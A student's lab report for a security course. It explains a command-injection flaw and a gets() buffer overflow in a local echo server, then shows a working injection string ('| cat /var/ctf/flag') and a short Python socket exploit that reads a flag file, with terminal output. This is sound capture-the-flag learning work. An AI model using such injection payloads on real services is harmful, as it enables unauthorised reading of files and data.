Question 1: Please provide the names and NetIDs of your collaborator (up to 3). If you finished the lab alone, write None.
Answer: None.

Question 2: There is a vulnerability at line 14. What is it?
Answer: “system(buf)” suffers security vulnerabilities because “buf” can be replaced with a malicious alternative command or shellcode by “gets”.

Question 3: There is also a buffer overflow issue in the code. Where is it?
Answer: In line 13, gets(buf + strlen(cmd_prefix)), “gets” will take a line from stdin and stores it into the “buf[5]”. But the “buf” is defined as a 256 byte string, and “echo ” took 5 bytes already, so whenever the stdin is longer than 251 bytes, it will lead to buffer overflow.

Question 4: We placed a secret message in the file /var/ctf/flag. How would you construct a string that utilizes the vulnerability in question 1 and get the secret message?
Now enter the string in the terminal and hit enter. Can you get the flag?
Answer: Enter “| cat /var/ctf/flag”. Flag: sBPOnc0DCu

```
(base) Xinyis-MBP:lab 1 cinyee$ docker run -d -p 4000:4000 --name echo-server pc
s-sp21-lab1-server
bea693d48a2f6410641998118021ba65726e74e9c98ed124d19b85e5f171a5d7
```

```
(base) Xinyis-MBP:answer cinyee$ nc 127.0.0.1 4000
| cat /var/ctf/flag
sBPOnc0DCu^C
(base) Xinyis-MBP:answer cinyee$ docker rm -f echo-server
echo-server
```

Question 5: Please copy and paste your code of exploit.py to the report.
When you finished, remember to follow the instructions in section 3.1 to stop and remove the docker container.
Answer:

```
########## Write your code below this line ##########
flag = None
msg = b'| cat /var/ctf/flag\n '
s.send(msg)
flag = s.recv(BUFSIZE).decode()
sys.stdout.write(flag)
s.close()
```

```
(base) Xinyis-MBP:answer cinyee$ python3 exploit.py 127.0.0.1 4000
sBPOnc0DCu
(base) Xinyis-MBP:answer cinyee$ docker rm -f echo-server
echo-server
```

Question 6: What is the issue URL?

Answer: I am using an M1 Mac for lab1 and failed to submit the code to github. Thanks for the exception. I will set up and use my old laptop to do the following labs.